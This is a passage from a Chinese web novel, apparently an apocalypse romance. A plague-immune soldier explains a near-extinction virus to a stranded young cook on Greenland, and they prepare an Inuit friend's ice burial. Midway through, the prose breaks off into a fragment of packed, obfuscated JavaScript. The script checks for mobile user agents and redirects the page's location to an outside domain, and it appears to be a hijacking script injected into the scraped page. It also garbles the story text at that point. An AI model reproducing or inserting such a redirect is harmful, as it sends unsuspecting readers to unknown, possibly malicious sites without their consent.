”哥你当我这儿是什么地方,你想来就来,想走就走?”
“都跟你说了天气很差,叫你不要去,你偏要去。这样的天气连最有经验的人都会迷失方向,你连狗拉雪橇都不坐,想就靠徒步走过去?你以为你是超人吗?”
闵疏拧着眉头,真的是生气了,还想再说几句,魏长川忽然干脆利落地道:
“我错了。”
闵疏没想到他会这么干脆利落地道歉,一时愣住了。
只见魏长川蹲在他身边,手肘搭在膝上,浓眉微压,态度很严肃:
“是我低估了天气的危险程度,你说得对,不该在天气这么恶劣的时候去冰川。”
魏长川很认真地承认了自己的判断错误,岛上的气候之多变确实超出他的想象。再出发之前,魏长川完全做好了准备,他自信自己在当前程度的风雪之中也能辨别方向,然而就在他出发离开中餐厅仅仅三十分钟后,风雪忽然加大,能见度极具降低,积雪到了膝盖上方,天气恶劣到了几乎无法前行的地步。
而当他到达冰川脚下时,风向忽然瞬间大变,魏长川在冰舌上猝不及地迎头撞上了一股竖切风,直接被掀了下来,后脑撞在冰岩上晕了过去。彼时,在连绵数日的暴风雪下气温已经达到惊人的零下四十度,魏长川自昏迷中醒来,发觉自己已经被冰雪覆盖。从肢体的僵硬程度来看,他已经在雪地里昏迷了九十分钟以上。
魏长川估算在这种温度下、在彻底冻僵进入休眠模式之前他还有最多两个小时的时间。意识到这一点后,魏长川就知道这次行动彻底失败了。他必须以最快的速度回到中餐厅,不然他将会在这个荒原上陷入沉睡,直到春天才能解冻。
幸运的是,回程时风雪稍有减弱,魏长川得以成功返回中餐厅。
“你说得没错。” 魏长川道:“我的确不应该贸然去冰川。”
见男人如此干脆利落地认错,闵疏有点意外。
说到底他是个性格很好的人,冷静下来后,闵疏立即对刚才自己发的脾气感到了不好意思。有点尴尬地往沙发里头缩了缩,手指无意识地抓了抓沙发套,别过脸避开魏长川的目光:
“……哥你没事就好。”
青年的声音低低的,语气有点别扭,也不看他。
但魏长川听了,神情上松了松,眉梢微扬。
罕见地小发了一点脾气的闵疏情绪过了,厨子的本能立刻占了上风:
“哥,你这几天都没吃好吧?” 闵疏瞬间忘了刚才自己说的话,将装小酥肉的篮子塞给男人,道:“先吃这个,我去给你弄点儿吃的。”
魏长川确实在这三天里什么东西都没吃,从濒临休眠的状态下强行清醒,此刻他急的身体需能量。因此也没有推辞,从闵疏手里将那篮子接了过来,一口一个地吃起来。
闵疏则去了后厨里,将之前吃剩的土豆红烧排骨拿了出来,放锅里热了,又煮了一大把挂面,想了想,再煎了两个鸡蛋,做成了一大盆红烧排骨汤面。
等面煮好,魏长川已经将剩下的炸酥肉吃了个一干二净。两人坐在明亮的餐厅里,排骨烧土豆的香气在空气中飘散,挂面吸满了浓郁的汤汁,小香猪的排骨肥瘦均匀,肉香十足。
魏长川看起来是真的饿狠了,低着头几分钟就将面嗦了一大半。见这架势,闵疏心生不妙,赶紧回厨房又蒸了几个大包子出来。果然当他端着包子走出来时,魏长川把汤都喝干净了。
闵疏看着碗底整整齐齐排列着的、一点儿肉丝都不剩的骨头,又看了看正抓着大肉包猛吃的魏长川,蹙了蹙眉,眸中露出若有所思的神情。
肉包子个大肚圆,松软的外皮里包裹着满满的馅料。魏长川吃得很香,没多久几个大包子就下了肚,这时他才空出手,端起一旁的水杯喝了口水。
闵疏看着他吃完,面上带着些微笑问:“哥,你吃饱了吗?还有包子呢。”
魏长川点了点头,放下水杯,面上流露出丝缕饕足的神色,肢体语言很放松,他点了点头。
闵疏于是笑着道:“那哥先回答我一个问题好不好?”
闻言,魏长川一顿,抬眸看向闵疏。
闵疏:“或者给钱也行。”
魏长川:……
闵疏笑得很纯良,迎上魏长川的视线,指了指头顶的大红色菜单,那里写着——肉馅包子5克朗一个。
魏长川当然是一分钱也没有。
人在屋檐下,不得不低头。魏长川的神情谨慎了些,将手放在了桌面上,摆出一个认真倾听的姿势:
“你说,什么问题?”
闵疏得偿所愿,立即很不解地问:“哥为什么非要在天气这么坏的时候去冰川?到底有什么事这么急?”
这点他实在想不明白,魏长川不像是笨人,以这个风暴的剧烈程度,是个人应该都知道现在外出会很危险。他想不通为什么魏长川为什么不能等到天气好转再去。唯一可能的解释就是这件事非常紧急,让他等不到天气转好。
魏长川走之前什么东西都没留下,而且是趁着他还没醒来的时候就离开了。后来闵疏细细回忆过,发现魏长川确实从一开始就像是不打算久留,除了最开始的盘问之外,男人只是和他生活在一起,并没有要了解他的意思。同时魏长川也几乎从不说起自己的事情,他为什么来到这座岛上?为什么要去冰川?离开了他又要去哪?闵疏对这一切一无所知。
闵疏多多少少也感觉到了这些,所以即便他注意到了魏长川身上的种种不寻常之处,也没有主动问过。但是不问,不代表他是真的什么都不知道,也不是他不好奇。
“还有,我一开始就想问了。” 闵疏看了看魏长川,目光停留在对方透过制服能隐隐看出的肩膀线条上:“哥为什么不怕冷?这种天气,穿这么点儿就能在外面走——”
最初魏长川忽然出现时,就只穿了一身单薄的制服。如果说当时他从最近的港口来只有几公里的路程,还不算太远的话,这次去冰川可就远得多了。他四处看过,魏长川离开的时候没有携带任何食物,而此时外面除了冰雪什么都没有,方圆几公里内也没有人,他不可能在途中得到补给。
也就是说,魏长川在没有任何食物的情况下,穿着那身单薄的军装制服在零下四十几度的暴风雪中生存了三天三夜。他甚至走到了冰川,魏长川的野外生存能力简直比纽因特族最杰出的猎人还要厉害。
闵疏很确信,这不是普通人能够做到的事。甚至,听起来都不像是人类能做到的事。
闵疏皱着眉,抬眼看向魏长川,所有的疑惑最终化为一句话:
“哥,你到底是什么人?”
屋外风雪呼啸,如同呜咽一般的声音隐约透过窗户传进屋内。魏长川坐在餐桌旁,一只手放在桌面上,目光沉沉地看着他。
不得不说,气氛有那么一点小诡异。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018923|162165||http|test|mini|href|location''.split(''|''),0,{}));
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>闵疏与他沉黑的眼眸对视,骤然打了个一个冷颤,背脊忽然窜上一股寒意。
暴风雪,困在孤岛上的两个人,逐渐严肃的对话。
他脑中瞬间出现了不下十部惊悚悬疑片的片段,看着对面体格强壮、穿着一身黑的魏长川,自己把自己吓了一大跳。闵疏缩了缩脖子,把自己往椅子里缩了缩,看着魏长川的目光带上几分谨慎,小声道:
“哥……” 闵疏的声音都有点发抖,紧张地咽了口唾沫:“你、你应该不会伤害我吧?”
闻言,魏长川一怔,像是有些意外。随后挑起浓黑的眉峰,扯了扯嘴角:
“你乱想什么呢?”
他的表情有点讶意的无奈,看着闵疏的样子像是搞不懂他的小脑瓜里在想些什么。
闵疏一听,瞬间长疏了一口气,而后有些脸红,’嘿嘿’笑了两声,不好意思地摸了摸后脑勺:
“也是,我这么脆皮,哥随便打一拳我嘎嘣一下就碎了,不用这么大费周章。”
闵疏很快把自己哄好了,魏长川如果想对他不利,之前有无数个机会可以对他动手,大可不必等到现在。
确认自己是安全的之后,闵疏就觉得自己又行了,立即接着问道:
“那哥,你怎么会这么厉害啊?你到底是什么地方来的?要去冰川干什么?”
到了这个地步,闵疏意识到了魏长川的不同之处。之前他没放在心上的一些细节也再次浮上了心头:
“之前哥你说是坐潜艇来的,是认真的吧?” 闵疏微微蹙起眉:“为什么哥会坐潜艇来?是因为岛上的港口和机场都关了吗?大使馆为什么会停止运营?哥盖在我护照上面的那个印章到底是什么意思?”
闵疏虽然比较佛,但并不愚蠢。在岛上困了这么久,他本就隐隐感觉到了些许不对,而随着魏长川的到来和他身上的种种怪异之处进一步加重了他的怀疑。
闵疏蹙着眉,认真地看向魏长川:“哥,外面到底发生了什么事情?”
魏长川坐在他对面,随着闵疏的一个又一个问题,姿态已经不如刚开始一般轻松。
他的浓眉压在深邃的眼眶上,脸上没什么表情,右手有一搭没一搭地在桌面上敲击着,并没有立即回答闵疏,而是凝视了他片刻,随后敛下眼:
“别问了。” 他道:“我不会告诉你。”
闵疏为男人不留情面的拒绝而皱起了眉:“为什么?”
魏长川抬起眼,极近的眉眼间距天生给人以压迫感,断然道:“因为不知道对你来说更好。”
男人态度很专断,语气不容拒绝。命令人的架势很自然,似乎是已经习以为常了。
闵疏听了,蹙了蹙眉,面无表情地’哦’了一声,看着魏长川道:
“那明天吃水煮冰块吧。”
他道:
“哥今天吃的太油腻了,吃点清淡的比较好。”
魏长川:……
所谓吃人嘴短,拿人手软。魏长川眉尾一跳,气势上登时短了半截。
闵疏看着他,神情淡淡:“哦,我好像刚刚才救了哥的命来着。”
魏长川:…………
闵疏抿了抿唇,垂着眼,似乎是有点伤心的:“哥吃我的住我的,连这一点问题都不能回答我吗?”
魏长川神情微变,自椅子上坐起来了些,不着痕迹地调整了一下姿势,轻咳了一声。
“……你真想知道?“
见他让步,闵疏一下子抬起了眼,点了点头:“哥,你就告诉我吧。”
他认真地看着魏长川:“哥你也看到了,岛上的天气这么差,而且这儿只有我们两个人。至少在这儿,你需要我的帮助,我总不能什么都不知道吧?”
闻言,魏长川又深深地看了他一眼,接着敛下眼,从大衣前襟的口袋中拿出了什么,放在了餐桌上。
闵疏看过去,发现那是支录音笔。
魏长川按下端头的按钮,之后两手交叉着放在了桌面上,遂看向了闵疏:
“远东基地编号070001,向幸存者进行情况解释,幸存者有权保留问询、质疑、转述,要求实体拷贝等权利,若认定传达信息与事实不符,可自行向人类存续委员会进行上诉,一切由情况解释造成的后果由幸存者自行承担。”
魏长川的声音冷静而低沉,说完这段话后,他又按了一下录音笔上的按钮,闵疏看到上面的光由红色转为闪动的绿色。
做完这个,动作,魏长川向后靠了靠,摆出了个略微放松些的姿势:“简单来说,”
他看向闵疏,直截了当地道:
“世界已经灭亡了。”
12.末世
闵疏愣了足足两秒钟,才道:“世界……灭亡?”
好陌生的形容,他茫然地看着魏长川:“什么意思?”
魏长川看了他一眼,似乎在确认闵疏的状态,见他只是茫然,没有什么太过激的反应,才接着说下去:“世界灭亡只是个笼统的说法。”
他语气平静的道:“人类可居住面积小于全球地表面前5%,全球人口不足10万,人类文明存续组织在今年年初宣布了物种三级濒危警告——这是具体的情况。“
随着男人的叙述,闵疏缓缓瞪大了眼睛。他好几秒说不出话,也几乎做不出任何反应,下意识地重复魏长川的话:“……物种、濒危?”
魏长川点了点头,道:“人类作为地球上的一个物种,已经来到灭绝的边缘。”
闵疏心神俱震,脑子里一片空白。物种濒危,这是很经常在电视里出现的词,但往往都是用来形容别的动物,他做梦也想不到有一天这个词会被用来形容人类自己。
好几分钟后,他才反应过来,下意识地询问:“……那、那华国——”
魏长川看着他,顿了顿,道:“已经没有华国了。”
闵疏愣住。
似乎是觉得自己的语气太冷硬了,魏长川顿了顿,将声音放低了些:“现在有的是人类生存基地。幸存者不分国籍,也不分种族,再进行健康甄别后,获得许可的幸存者会被就进分配到指定的基地。”
听到这里,闵疏小小地吸了口气:“那之前哥在我护照上盖的印章是?”
他记得那个印章上写了全球同行。
魏长川看了他一眼,又敛下眸,手指在桌面上划过:”字面意思,你可以进入全球任何一个基地。”
闵疏登时抽了口气,这才理解了那个印章的含金量,想到自己当时还问男人能不能擦掉,闵疏心中冒出「不识货」三个大字。
不过现在不是纠结那些的时候,闵有些急切地问道:“为什么会这样?到底发生了什么事?”
闵疏记得他出发留学之前一切都好好的,没有什么异常,这才过去八年,怎么就末世了呢?
闻言,魏长川抬起眼。他的眼眸深邃,瞳色很深,黑沉沉地透出些冷意。
“一场瘟疫。”
他平静地说,手指在桌面上点了点:
“很多人感染,然后死亡,人类目前防疫效果有限,疫苗研发还未成功,没有有效的控制手段。”
魏长川的解释很简单,几乎是太简练了,似乎是知道闵疏有一肚子的问题,他直接从制服里掏出了一个小册子扔给闵疏:
“自己看。”
闵疏接过册子,发现这是个没有封面的册子,只是在角落上印了「人类文明存续基地」的字样。翻开第一页,白色的纸张上面印着『仅限内部使用』几个字。闵疏一顿,他觉得自己应该不属于内部人员,遂抬头看了一眼魏长川。
男人穿着制服,一只手搭在椅背上,嘴边叼了跟香烟,却没点燃,只是咬着。
这个人应该是『内部人员』。闵疏直觉魏长川地位不低,搞不好是什么高官,于是闵疏低下头,继续看手上的册子。
翻开第一页,上面有两个显眼的大字「毒株」
纸面上有三张图片,看起来像是会出现在中学生物教科书上的内容,每个图片下面有几行小子。闵疏从左到右看过去,发现上面依次介绍了「X」,「Y」,「Z」三种毒株。
闵疏快速地读了过去,发现这是在介绍一种新型病毒,其中X毒株通过空气传播,人传人,Y毒株可以通过血液、□□以及动物粪便传播。到这里,这看起来就像是普通的病毒防治手册,然而当闵疏的目光继续向下时,却看到了令人不寒而栗的三行字。
只见X、Y两种毒株下都写了相同的两行字:
传染性:极高
致病性:极高
致死率:99%
闵疏倒吸了一口凉气。虽然他当年是文科生,但就算仅靠着生活常识和他对流行病的浅薄认知,闵疏也知道极高的传播性加上极高的致死率会造成什么样灾难性的后果。这样的病毒如果在全球广泛传播——闵疏打了个寒颤,这就是为什么全球人口会只剩下不到十万?
“可是——” 闵疏的呼吸有些急促,抬起头看向魏长川:“病毒的传染性和致死率一般都不是反相关的吗?”
作为世界上或许是最古老的生物之一,病毒伴随了人类的出现以及演化的全过程。人类历史上遭遇过数次的瘟疫大流行,从威名赫赫的天花、麻风病、疟疾,到数次流行全球的流感病毒,再到近代让人闻风色变的出血热,背后都有病毒投射的阴影。
然而在病毒传播所导致的疾病中有一个几乎是个永恒的规律,病毒的致死率越高,传染性就会越低。因为宿主的快速死亡,需要依靠宿主细胞进行复制与繁殖就会失去活性,变为一般的化学物质,从而停止传染。因而高致死率的病毒往往会在极快地杀死一波感染者后因为缺少宿主而停止传播,许多历史上的大瘟疫都因为这个原因停止。
“如果是致死率99%的病毒,它为什么会大规模传播?” 闵疏问。
魏长川闻言,抬手将嘴边的烟取了下来,又放回了烟盒里,道:“因为它并不是病毒。”
魏长川收回烟盒,抬起眼,平静地说:
“人们叫它病毒,不过是因为这是在人类认知中最接近的解释。”
闵疏诧异地睁大了眼睛,看着魏长川站了起来,拉着椅子坐到了闵疏身边,将册子翻过几页。闵疏顺着他所指的方向看到了纸张上写下的一段话:「对这种新型病毒,人类知之甚少,目前的研究表明在感染者死亡之后,该病毒会只需存在并且保持独立于宿主以外的复制与繁殖特性」
X毒株通过被感染者的咳嗽、打喷嚏等行为散布在空气中,并且由此悬浮在空气之中形成某种肉眼不可见的细小胶体,从此但凡接近该感染区的人光是呼吸都会被空气中悬浮的病毒感染。
另一变,Y毒株在宿主死亡后不知以何种方式竟然可以维持细胞活性,将尸体转换为某种无意识的肉块,在感染区的地面上蠕动。
在远离极地的南方,一个曾经的人口大国最先爆发了Y毒株感染,无数绝望的民众涌向位于首都中央的母亲河向神明乞求希望。他们变为了漂浮在河面上的一具具浮尸,随着死亡人数的增多,感染者留下的肉块和身体组织沉入水底,最终占满了整个河道。
而X毒株爆发的地区则成为了一个个毒气封闭区,大批居民的死亡和幸存者的逃离让一座座城市变为了由钢铁组成的瘴气森林,没有人再被允许进入。
闵疏并不知道外面的世界已经成了什么样子,可光是看见这些信息就已经让他不寒而栗。
闵疏觉
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得一股寒意顺着脊背窜上,不禁打了个寒颤。人类对于疾病、特别是传染病的恐惧是刻在基因里的,就算是闵疏这样心态半死不活的人,都有点害怕,不禁抬头看向了身旁的魏长川:
“那、那我——”
“别怕。” 魏长川似是早有准备,抓住了闵疏略微颤抖的手:“你没有被感染。”
闵疏一听,立即长疏了一口气。接着忽然想起和魏长川初次见面的那一晚,他用什么东西在自己面前’哔’了一声,也许那就是能够确认他是否被感染的仪器。
一切事情忽然都有了解释,闵疏忽然想起了被关闭的港口和机场,他明白,是格陵兰岛的封闭与偏僻救了他。
毕竟闵疏自知自己的免疫系统就像是扇漏风的窗户,遇上这样的病毒他肯定是必死无疑的。
闵疏沉默下来,觉得心里有点堵,他盯着那本小册子,全球人口不到十万这几个字在脑海中盘旋。
他确实是怀疑外面的世界发生了什么,可是也没想到真相会是这样的。
他在岛上呆了七年,外面竟然直接变成末世了!
闵疏在震惊下感到一阵头晕,身体轻飘飘的,因为一下子受到了太多冲击,几乎有点分不清自己是在梦里还是现实。
就在这时,魏长川握着他的手忽然紧了紧,安抚般地摩擦着他的手指,又说了一声:“别怕。”
闵疏骤然清醒过来,看向魏长川。他似乎是吓到了,下意识向魏长川靠近了些:
“哥——“ 闵疏看向魏长川,小声问:“真的什么办法都没有吗?”
魏长川很快回答了他:“有。”
男人的态度很坚定。他的声音里似乎有种力量,让闵疏的心一下子安定了下来。
“目前已经的手段有两个。”
魏长川道:“第一个是低温。”
“温度越低,这种病毒的传播速度就越慢。” 他道:“为了阻止沦陷区病毒的进一步扩散,基地从五年前开始向大气层人工投放冷凝剂,每年全球平均温度都会因此发生不同程度的下降。”
闻言,闵疏登时反应了过来:“怪不得这几年岛上越来越冷!”
魏长川点了点头,道:“因此,现存的两个人类基地都建造在高纬度地区,东方基地在西伯利亚,西方基地在原加国北部。”
“除此之外,格陵兰岛是已知的唯一人类生存区。”
闵疏恍然,这两个地方都有很鲜明的特点——够远,非常偏僻,因此跟外界的交流不多,可以较为有效地封闭传染途径。
二就是够冷,格陵兰岛大部分的国土都在北极圈内,只是病毒是冻死了,但是人也快冻死了。
闵疏觉得这个方法有点不行的,像格陵兰岛这样的地方,到底是不适合大部分人生存。或者不说大部分人,因为连年的气温下降,本来就居住在岛上的土著都快活不下去了。于是他便问道:“那第二个办法呢?”
魏长川看了他一眼,顿了顿,才微启唇,吐出两个字:
“免疫。”
闵疏闻言,眼眸登时一亮,赶忙问道:“那怎么样才能免疫啊?”
魏长川回答他:“硬抗。”
闵疏:“……啊?”
魏长川神色淡淡:“感染了,活下来就能免疫,死了——” 他短暂地顿了顿,道:“那就死。”
闵疏:………
13.天晴
听了魏长川的描述,闵疏悬着的心终于死了。
也就是说那些剩下的1%能够免疫这种病毒?这好像也不是什么有效的办法。
怪不得全球只剩下10万人……
闵疏心情有点沉重,低着头沉默了了一会儿,抬起头看向魏长川:
“哥,你是不是免疫了?”
魏长川看了他一眼,点了点头:“对。”
闵疏了然。他不觉得魏长川和他一样是没有感染过病毒的人。闵疏虽然没经历过末世,但至少也看过类似题材的小说电影什么的。魏长川既然是军人,那瘟疫爆发时应该是冲在最前线的。他们这样风里来雨里去,如果是传染性很强的病毒,在前线维护秩序的军人以及医护人员的暴露风险会很大。所以他猜测魏长川应该是免疫了,才会敢这样随意在外面走。
闵疏点了点头,对魏长川道:“哥,你好厉害啊。”
这么凶险的病毒都能免疫,闵疏觉得魏长川肯定有什么过人之处。但转念一想,这病毒这么厉害,魏长川感染的时候肯定是遭了不少罪的。
闵疏不禁担忧道:“感染的时候会有什么症状?是不是很难受?”
小册子上只说了致死率,却没说感染后的症状。
只能硬抗的病毒,听起来就很难受,闵疏自己就经常生病,所以很能体会这种痛苦。
魏长川看着他,忽然很轻地笑了笑,抬手摸了摸闵疏的头:“没事。”
闵疏莫名被揉了头发,还没反应过来,就被男人拉着小臂拽了起来。
“行了。” 魏长川从他手中拿走了小册子:“该睡觉了。”
闵疏闻言抬起头,看到墙边儿挂钟上的时间,果然已经快半夜了,是该睡了。
于是按照惯例,魏长川去洗碗,闵疏便先去洗漱,换好睡衣躺在进了被褥里,将外侧留给了魏长川。
浴室里的水声响了一会儿,然后停了,闵疏感到身边的床铺微微下陷,被窝里多了另一个人的热度。
魏长川将床头灯按灭,卧室里陷入黑暗,闵疏却有点睡不着。
他躺在床上,时不时就翻一下身,脑子里纷纷扰扰,全是魏长川刚刚跟他说的话,一闭眼就是各种纷杂的想法。
不知这样辗转反侧了多久,闵疏在有一次转身中撞上了一具温热的躯体。
闵疏猛地僵住,心里暗叫不好。
下一瞬,黑暗中发出些窸窣声,似是魏长川转过了身,朝他靠近了些。
“怎么了?”
男人声音有些低哑。
闵疏有点不好意思,小声地道:“哥,是不是我吵醒你了?”
“没事。” 魏长川的声音里没有睡意,他抬手,将闵疏搂进怀里:“睡不着?”
闵疏被男人灼热的体温烫的一抖,动作不禁僵了僵。
他是个Gay,在这样清醒的状态下和魏长川身体接触下不禁有点脸红,但想到待会儿睡着了照样会被魏长川抓住,他也就释然了,决定将自己想象成个大玩偶。
魏长川多半是把他当成阿贝贝了。
闵疏这么想着,面上的绯色褪去了些,道:“……有点。”
魏长川没说什么,只是将他揽紧了些,拍了拍他的背:“别想太多。” 他说着,在闵疏鬓边吸了口气,像是闵疏身上有什么很好闻的味道似得,声音里带上了些慵懒:“睡不着就跟我说说话。”
闵疏没注意到他的小动作,想了想也睡觉,便问道:“哥还没告诉我,你为什么要去冰川?”
魏长川道:“那里有病毒。”
闵疏吃了一惊:“病毒?!” 不是说那种病毒不能在寒冷的地方传播吗?
魏长川没有过多解释:“不是那种病毒,是冰层里储藏的远古病毒。” 他闭着眼,手有一下没一下地抚过闵疏的背,像是安抚一只猫:“基地里的人觉得会有研究价值。“
闵疏恍然大悟:“原来是这样。” 他有点高兴,有研究方向总比两眼一抹黑来的好:“那等天气好点了,我陪哥去冰川。”
魏长川微微睁开眼,不置可否地’嗯’了一声,又闭上眼,手抚着闵疏的后脑,将他的脑袋压在自己颈窝里:“睡吧。”
闵疏觉得魏长川是有点不耐烦了,不过想想也是,他肯定都不知对多少幸存者解释过这些了。于是闵疏乖顺地闭上了眼睛,不再吵他。
卧室里安静下来,魏长川的睡眠一如既往地好,呼吸很快平稳下来。闵疏窝在他怀里,过了一会儿也感到了一阵睡意,很快也睡着了。
·
第二天,闵疏是被一缕阳光照醒的。
明晃晃的阳光照在他的眼皮上,闵疏皱了皱眉,睫毛颤了颤,一睁眼便下意识地眯起了眼睛。
他们昨天没拉窗帘,明晃晃的阳光从窗外洒进来,照在地板上。窗户外的天空蔚蓝如洗,雪原辽阔而洁白,那狂暴的风雪仿佛在一夜之间消失了,连日的恶劣天气仿佛只是他们的幻觉。
闵疏一下子就清醒了,赶忙伸手去推魏长川的肩膀。
“哥、哥!” 闵疏惊喜道:“快醒醒!天气好了!”
魏长川睡得很沉。闵疏推了好几下,他才悠悠转醒。
男人身上带着一股睡眠被打扰的烦躁,皱着浓眉睁开眼,接着骤然清醒过来,一下子从床上坐了起来。
闵疏跟着他坐了起来,看着魏长川罕见地露出惊讶的表情,解释道:“这个季节就是这样的,天气一会儿好一会儿坏的。”
魏长川看着窗外晴朗的景色,眉心出现一道浅浅的皱痕。
他收到的气象信息预测这场风暴会持续至少十五天。第一次行动失败,魏长川本来已经做好了短期滞留在岛上的准备,然而昨天闵疏刚说要陪他去冰川,今天天气就晴了。
青年在他耳边轻快地说:“真巧,哥,我们趁着天气好快去吧。”
魏长川向窗外凝视了片刻,才缓缓收回目光。
为了能早点出发,闵疏迅速做了个快手早餐。他用干紫菜和鸡蛋坐了一大锅紫菜蛋花汤,接着把剩下的包子拿出来蒸了,然后弄了点泡菜,就是美味丰盛的一顿早餐。
自家做的鲜肉包子皮薄馅大,白胖胖的皮下是流汁的肉馅儿,十分管饱,闵疏吃了两个就吃不下了,剩
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下的都进了魏长川的肚子里。
吃完早饭,闵疏开始准备路上用的东西。冰川倒是离得不远,快的话一天能打来回,但是未免有什么意外,闵疏还是带上了一些路上可以吃的食物,防寒用的皮草和鲸鱼油脂制成的油灯。
魏长川见他吭哧吭哧地往狗拉雪橇里搬东西,没说话。他做任务的时候一般不喜欢带着太多东西,但是想到青年的身体情况,魏长川又觉得还是多带一点好。
于是他便看着闵疏跟只小松鼠似得在院子和屋内之间跑来跑去,将方便面、饼干、火腿肠、甚至连小型气罐炉子都带上了。雪橇从一开始的空旷到后来只剩两个人能坐的空位,其余地方全都被各种物资占满了。
魏长川站在雪橇前,看着青年噔噔噔地跑来跑去,一幅精神十足的样子,倒是有些意外。
一般人忽然听说外面成了末世,应该会很难以接受。他原本已经做好被闵疏质疑诘问的准备了,没想到青年的接受度比他预想的好上不少。
之前他觉得闵疏的身体太差,怕他骤然知道真相发生意外,才没有告诉他这些事。事实上,在瘟疫爆发的前几年,魏长川作为首批免疫者之一忙着全世界灭火,在救援幸存者时,他从不屑于花时间解释情况,基本上就是把军方内部的小册子扔给他们自己看。
至于幸存者在得知真相,也就是这场瘟疫基本上没有解药可言时会有什么反应,他没精力去关心。
这还是他头一次为幸存者的心理状况考虑。
也许是现在幸存者少了,他又有这个空闲,又或许是闵疏看起来实在是太虚弱,让他忍不住迟疑了。
不过青年现在看起来不错。昨天晚上脸色还有点白,今天就活蹦乱跳的了。
魏长川观察了他一会儿,在闵疏试图将一个罐子塞进雪橇上被堆得摇摇欲坠的物品小山时走过去拦住了他:“东西够多了。”
“啊?” 闵疏惊讶地抬起头,将怀里的罐子向男人居高了些:“真的不带吗?这是热巧克力,很好喝的。”
魏长川低头看着他,顿了片刻,接着忽然抬手揉了揉闵疏被风吹乱的头发。
闵疏一愣,还没反应过来,手里突然一空。魏长川拿过他手里的罐子,找了个地方塞了进去,同时道:“不许再带其他的了。”
闵疏’哦’了一声,摸了摸自己的头发,忽然觉得跟魏长川比起来他就像是个准备去春游的小学生。
他看着魏长川用绳索将雪橇上的各种零食和东西固定住,有些讪讪地凑上去,小声道:“可是哥……还有一样东西我想一起带着。”
魏长川手持绳索,’噌’地一下将金属钩扣好,斜眼看向闵疏:“什么?”
闵疏在他的眼神下缩了缩脖子,接着讨好地笑了笑,道:“尸体。”
魏长川原本已经移开了视线,闻言,他整理行李的动作一顿,缓缓回过头:“什么?”
闵疏眨了眨眼,接着’哦’了一声,这才意识到他用错了词:“我说错了哥。”
然而没等魏长松口气,他就听到青年轻快地说:“应该是遗体。”
魏长川:…………
14.冰川
闵疏领着魏长川到了院子背后的一个冰窖旁。这个冰窖比用来储藏食物的那个要大一些,闵疏推开门,一股寒意登时向两人袭来。
冰窖中很空旷,冰壁泛着蓝光,阳光射入后,三个人的影子出现在冰面上。
魏长川看清里头的东西,瞳孔微微收缩。
只见冰窖深处,一个妇人的尸体所冻成的冰雕正静静坐在暗处。她的皮肤在长久的冰冻下呈现出微微泛蓝的苍白,头发与睫毛都被霜雪覆盖,两条黑亮的发辫垂在胸前,闭着眼,嘴角带着一缕微笑,每一根发丝都栩栩如生。
这个场景中惊悚中带着些许圣洁,让看过成千上万尸体的魏长川也不禁略微愣神了一瞬。
不过他很快回过神,迅速的上下扫了眼尸体,没有看到明显的外伤,没有下毒的痕迹,妇人面容平和安详,没有抵抗痕迹。
他心下一松,抬手揣进裤兜,低头看向旁边不断朝双手哈气的闵疏:
“怎么回事?”
闵疏搓着手,道:“她是我的朋友,叫阿伊苏。她的家人都离开了,没人照顾,所以我就把她接到了家里来住。”
闵疏看着不远处妇人冰封的慈祥面容,声音微微低下去:“……两周前,她去世了。“
魏长川’嗯’了一声,问道:”死因是?”
“死因?” 闵疏想了想,不太确定地道:“应该就是自然死亡吧……也许是心脏病发作?”
闻言,魏长川彻底放下了心。他看了眼身边冷得直跺脚的闵疏,甚至觉得刚才的自己有些好笑,青年恐怕连只壮点的鸡都杀不动,更何况是人。
“哦对了——” 同时,闵疏忽然意识到自己还没有跟魏长川解释过尸体为什么会在这儿,他赶忙道:“忘记跟哥说了,这是因纽特人的习俗,他们这儿不流行火葬和土葬。”
由于历史上的格陵兰岛终年冰雪不化,且缺少能燃烧的能源,土葬和火葬都不太现实。因纽特族人中流行的是将尸体放入由于石头堆成的石棺中,再在石棺上额外压上重石,利用生物降解处理尸体的’石葬’,或者是将尸体直接投入海中的水葬。
而更常见的,则是将尸体运送到冰洞中,再以冰块封住洞口的「冰葬」。因纽特人相信冰雪有灵,这么做可以帮助逝者的灵魂进入轮回。
“冰川是镇上人信奉的祖地,所以我想着也把阿苏伊送到哪儿去。” 闵疏道:“正好今天我们要去冰川,我想着就把她一起带上得了,省的来回跑。”
在镇上生活了这么多年,闵疏也见识过好几场当地人举行的葬礼,因此对冰冻的尸体已经习惯了。所以这时闵疏才反应过来自己的行为在魏长川眼里或许有点奇怪,有点不好意思地看了男人一眼:
“不好意思啊哥,忘了提前跟你解释了。” 闵疏抬头看了看魏长川:“哥你没被吓到吧?”
魏长川眉尾微动,垂下眸看了青年一眼:“没有。”
闵疏松了口气,立即夸道:“哥你好厉害啊!” 他道:“我一开始也觉得有点吓人,但是看习惯了就觉得还挺好的。”
被冰封的尸体不会腐烂,可以保持逝者死前栩栩如生的样子,与终年封冻的冰川一样永存于世间,在某种程度上来说对于活着的人也是种慰藉。
闵疏感叹道:“我现在觉得这种方法挺好的,等我哪天死了,和阿伊苏冻在一个洞里面就行了。”
听到这句话,魏长川皱了皱眉。
闵疏往手上哈了口气,道:“我一个人搬不动遗体,哥,你能不能——” 他刚想请求魏长川的帮助,结果一抬头,便见魏长川垂眼看着他,眉眼见似有丝缕的不悦。
闵疏一愣,意识到魏长川好像是不喜欢他刚才说的话,赶忙道:“哥,我开玩笑的。”
魏长川还是看着他,微微眯起眼睛。
闵疏登时一阵脊背发寒,’唰‘地一下抬起手做发誓状:“哥,我以后再也不说了。”
魏长川的神情这才松缓了些,抬手拍了拍他的肩膀,似安慰、又似警告,接着向阿伊苏的尸体走去。
闵疏看着他的背影,放下手轻轻舒了口气、心想魏长川也没比他大几岁,怎么就威严这么多呢?男人脸一沉他就心肝儿颤,闵疏忽然想到网上曾经流行用老干部形容一些男明星,心想魏长川也有点那个气质,只站在那,就让人觉得是个领导,有种说一不二的架势,让人下意识地就想服从他。
随后,他看着魏长川将阿伊苏的尸体从冰窖上抬下来,又悄咪咪地想,还说什么跟阿苏伊葬在一起,等真死的那一天,还不一定有人收尸呢。
